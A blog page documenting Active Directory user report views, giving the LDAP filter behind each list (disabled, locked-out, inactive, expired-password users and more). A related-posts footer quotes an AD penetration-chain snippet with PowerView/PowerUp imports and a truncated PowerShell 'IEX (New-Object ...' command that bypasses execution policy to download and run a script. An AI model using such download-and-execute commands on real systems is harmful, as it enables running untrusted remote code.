`
deadcow
  • 浏览: 51193 次
  • 性别: Icon_minigender_1
  • 来自: JM&ZH&HK
社区版块
存档分类
最新评论

M$ AD User view

    博客分类:
  • LDAP
阅读更多

AD Users View



All Users
It provides the details of all the users in the selected scope.

How it works: This view is generated by querying the Directory Service with the filter
“(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370))”

Users without Managers
It provides the list of users who do not have any managers assigned to them.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!manager=*))"

Manager Based Users
It provides the list of users that directly report to the selected user (Manager). The users listed in report are those who have the manager property set to this selected user.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(manager=managerDN))"

Users in more than One Group
It provides the details of users who belong to more than one group.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(memberOf=*))"

Recently Created Users
It provides the details of the user accounts created recently.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(createTimeStamp>=givenTime))"

Recently Modified Users
It generates the lists of user accounts modified recently.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(modifyTimeStamp>=givenTime))"

Dial-in Allow Access
It generates the list of users who have access to dial-in.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(msNPAllowDialin=TRUE))"

Dial-in Deny Access
It generates the list of users who don’t have access to dial-in.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(|(msNPAllowDialin=FALSE)(!msNPAllowDialin=*)))"

Users with Logon Script
It generates the list of users who have logon scripts. Logon scripts are those which run automatically when the user logon.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(scriptPath=*))"

Users without Logon Script
It generates the list of users who don’t have logon scripts. Logon scripts are those which run automatically when the user logon.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!scriptPath=*))"

All Deleted Users
It generates the list of all deleted users in the domain.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectClass=user)(!objectClass=computer)(isDeleted=TRUE))"

Recently Deleted Users
It generates the list of all user account deleted recently in the domain.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectClass=user)(!objectClass=computer)(isDeleted=TRUE)(whenChanged>=givenTime))"

Account Status

Disabled Users
It generates the list of all disabled user accounts.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(userAccountControl:1.2.840.113556.1.4.803:=2))"

Locked Out Users
It generates the list of all user accounts that have been locked out.

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(lockouttime>=1))"

Account Expired Users
It generates the list of all user accounts that have expired.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!accountExpires=0)
(!accountExpires=9223372036854775807)(accountExpires<=currentTime) )"

Recently Account Expired Users
It generates the list of all user accounts that have expired in the given number of days.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!accountExpires=0)
(!accountExpires=9223372036854775807)(accountExpires<=currentTime) (accountExpires>=givenTime))"

Soon-to-Expire User Accounts
It generates the list of all user accounts that will expire within the given number of days.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!accountExpires=0)
(!accountExpires=9223372036854775807)(!accountExpires<=currentTime )(accountExpires<=givenTime))"

Account Never Expire Users
It generates the list of all user accounts which will never expire.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(|(accountExpires=0)
(accountExpires=9223372036854775807)))"

Logon

Inactive Users
It generates the list of all users who have not logged on for the past 'n' days. The inactive users are determined based on their last logon time. All the domain controllers are scanned for the last logon time to ensure accuracy. If any of the DC's could not be contacted, the list generation will fail.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(|(!lastlogon=*)(lastlogon<=givenTime)))"

Recently Logged on Users
It generates the list of all users who have logged during the past 'n' days. The recently logged on users are determined based on their last logon time. All the domain controllers are scanned for the last logon time to ensure accuracy. If any of the DC's could not be contacted, the list generation will fail.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(lastlogon>=givenTime))

Users Never Logged On
It generates the list of all users who have not logged on to the domain. The Users never logged on are determined based on their last logon time. All the domain controllers are scanned for the last logon time to ensure accuracy. If any of the DC's could not be contacted, the list generation will fail.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(|(lastlogon=0)(!lastlogon=*)))"

Enabled Users
It generates the list of all enabled user accounts.

How it works: This view is generated by querying the Directory Service with the filter
"(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!userAccountControl:1.2.840.113556.1.4.803:=2))"

Password

Recently Bad Logged on Users

It generates the list of all users who tried to logon with bad password.

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(badPasswordTime>=givenTime))"

Users whose Password Never Expires
It generates the list of all users whose password never expires.

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(userAccountControl:1.2.840.113556.1.4.803:=65536))"

Password Expired Users
It generates the list of all users whose passwords are expired.

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!(sAMAccountType=805306370))(!userAccountControl:1.2.840.113556.1.4.803:=65536)
(!pwdLastSet=0)(pwdLastSet<=time based on maximum password age))"

Soon-to-Expire User Passwords
It generates the list of all users whose passwords will expire in ‘n’ days

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!(sAMAccountType=805306370))(!use rAccountControl:1.2.840.113556.1.4.803:=65536)(!pwdLastSet<={0})(pwdLastSet<=time based on maximum password age and the given time))"

Password Changed Users
It generates the list of all users whose passwords are modified during the given ‘n’ days

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!pwdLastSet=0)(!pwdLastSet<=givenTime))"

Password Unchanged Users
It generates the list of all users whose passwords are not modified during the given ‘n’ days

How it works: This view is generated by querying the Directory Service with the filter "(&(objectCategory=person)(objectClass=user)(!sAMAccountType=805306370)(!pwdLastSet=0)(!pwdLastSet>=givenTime))"

分享到:
评论

相关推荐

    AD域渗透链和工具推荐

    Import-Module .\PowerView.ps1 Import-Module .\PowerUp.ps1 ``` - **内存导入**:直接从Web服务器下载并执行PowerShell脚本。 ```powershell powershell.exe -nop -exec bypass "IEX (New-Object ...

    VMware View 5.1 快速部署手册

    - **AD 集成**:设置活动目录 (Active Directory),以便集成 VMware View 进行用户身份验证和权限管理。 - **DNS 设置**:确保 DNS 正确配置,支持 VMware View 的域名解析。 3. **创建 View 用户和组**: - **...

    使用LoginVSI进行Horizon_View压力测试v1.0.doc

    使用AD中创建的Launcher user登录计算机。在Login VSI控制台中添加该Launcher计算机以准备进行压力测试。 **压力测试过程** 1. **开始压力测试**:使用Login VSI创建并运行测试场景,模拟大量用户同时访问虚拟桌面...

    Android代码-ScrollChoice

    Scrollable view which can be used to give different choices to user with nice ui. Preview Add With Gradle Dependency compile 'com.webianks.library:scroll-choice:1.0.1' Maven: com.webianks.library ...

    用户配置文件漫游(windows漫游配置方式).docx

    dsquery user "OU=view,DC=ou,DC=" | dsmod user -profile \\ex.ou.\share$\$username$ ``` - **效果**:上述命令可以自动将漫游配置文件路径添加到指定OU内的所有用户,大大减轻了手动配置的工作量。 #### 测试...

    仿58同城Fang58com201317.rar

    │ │ Ad.asp │ │ adconfig.asp │ │ Add.asp │ │ Alipay_md5.asp │ │ Alipay_Payto.asp │ │ body.Fix │ │ CheckPass.asp │ │ class.asp │ │ class1.asp │ │ comindex.asp │ │ company.asp │ │...

    P-CAD 2006 Library Executive User's Guide

    - **菜单栏**:列出了菜单栏中的各个选项,如文件(File)、编辑(Edit)、视图(View)等,并解释了它们的作用。 - **工具栏**:介绍了工具栏上的各种图标按钮及其功能。 - **自定义工具栏**:指导用户如何根据自己的...

    安卓创建个性标签

    - `import android.view.View;` - 导入View类,所有可视用户界面元素的基类。 - `import android.widget.TextView;` - 导入TextView类,用于显示文本的视图组件。 - 其他导入语句也是为了实现特定功能而引入的必要...

    4.1.2-PayPlans.zip

    Account registration integration: PayPlans built-in form, EasySocial, Community Builder, Ad Agency, JFB Connect, JomSocial, and Joomla. Invisible reCAPTCHA support on registration form. Export ...

    MiTeC System Information Component Suite 11.3.0 For D7 破解

    + Resource Meter - displays User, GDI and System resources + Installed Software - detects installed software and Microsoft serial numbers + USB Devices - demonstrates USB ports and devices ...

    查看计算机信息 批处理

    "查看计算机信息 批处理"这个主题涉及到的是通过批处理脚本来获取AD域中的计算机信息,包括用户信息、网络信息、内存和硬盘等硬件状态。下面我们将深入探讨这些知识点。 首先,我们需要了解什么是AD域(Active ...

    windows 系统工具

    9. tcpview.chm:TcpView显示当前系统上的TCP和UDP连接信息,包括端口、状态、远程IP等,使用户能够监视网络连接,查找占用带宽的应用或可疑连接。 10. PORTMON.CNT:PortMon是一款端口监视工具,记录系统上的串行...

    利用谷歌+FootPrints快速搜索第三方博客

    - `intext:"blogs" inurl:"/m/groups/browse/"` - `inurl:blogs.php?action=show_member_post&ownerID` - **解析**:这两个搜索语法分别用于查找Dolphin平台上的博客以及特定用户的博客文章。 5. **Kickapps** ...

    基于redis的分布式session实现

    return View(user); } ``` 以上代码展示了如何在登录成功后将用户信息存入Session,并在受保护的页面中检查Session中的用户信息。由于Session数据存储在Redis中,用户在不同服务器之间切换也不会丢失登录状态。 ...

    淘宝达人商城淘宝TOP程序PHP圣诞版

    2.list.php 和view.php 这2个文件有GOOGLE的广告代码,你可以到GOOGLE去申请合作,然后把上面2个文件的相关代码替代掉google_ad_client = "pub-7012568171456992"; 把pub-7012568171456992 换成自己的GOOGLE 的帐号...

    淘宝达人商城TOPapi程序淘宝达人店铺街内附API程序

    2.list.php 和view.php 这2个文件有GOOGLE的广告代码,你可以到GOOGLE去申请合作,然后把上面2个文件的相关代码替代掉google_ad_client = "pub-7012568171456992"; 把pub-7012568171456992 换成自己的GOOGLE 的帐号...

    compiere 一览报表定制

    1. 包含必要的字段:AD_Client_ID(客户ID)、AD_Org_ID(组织ID)、Created(创建时间)、CreatedBy(创建者)、Updated(更新时间)、UpdatedBy(更新者)和IsActive(是否激活)等,这些字段对于跟踪和管理数据...

    DC license 安装——SCL文件

    安装common和linux前先安装SCL 详细安装教程请见:http://wenku.baidu.com/view/5e861ea7284ac850ad024242.html 或 http://bbs.eetop.cn/?fromuser=

Global site tag (gtag.js) - Google Analytics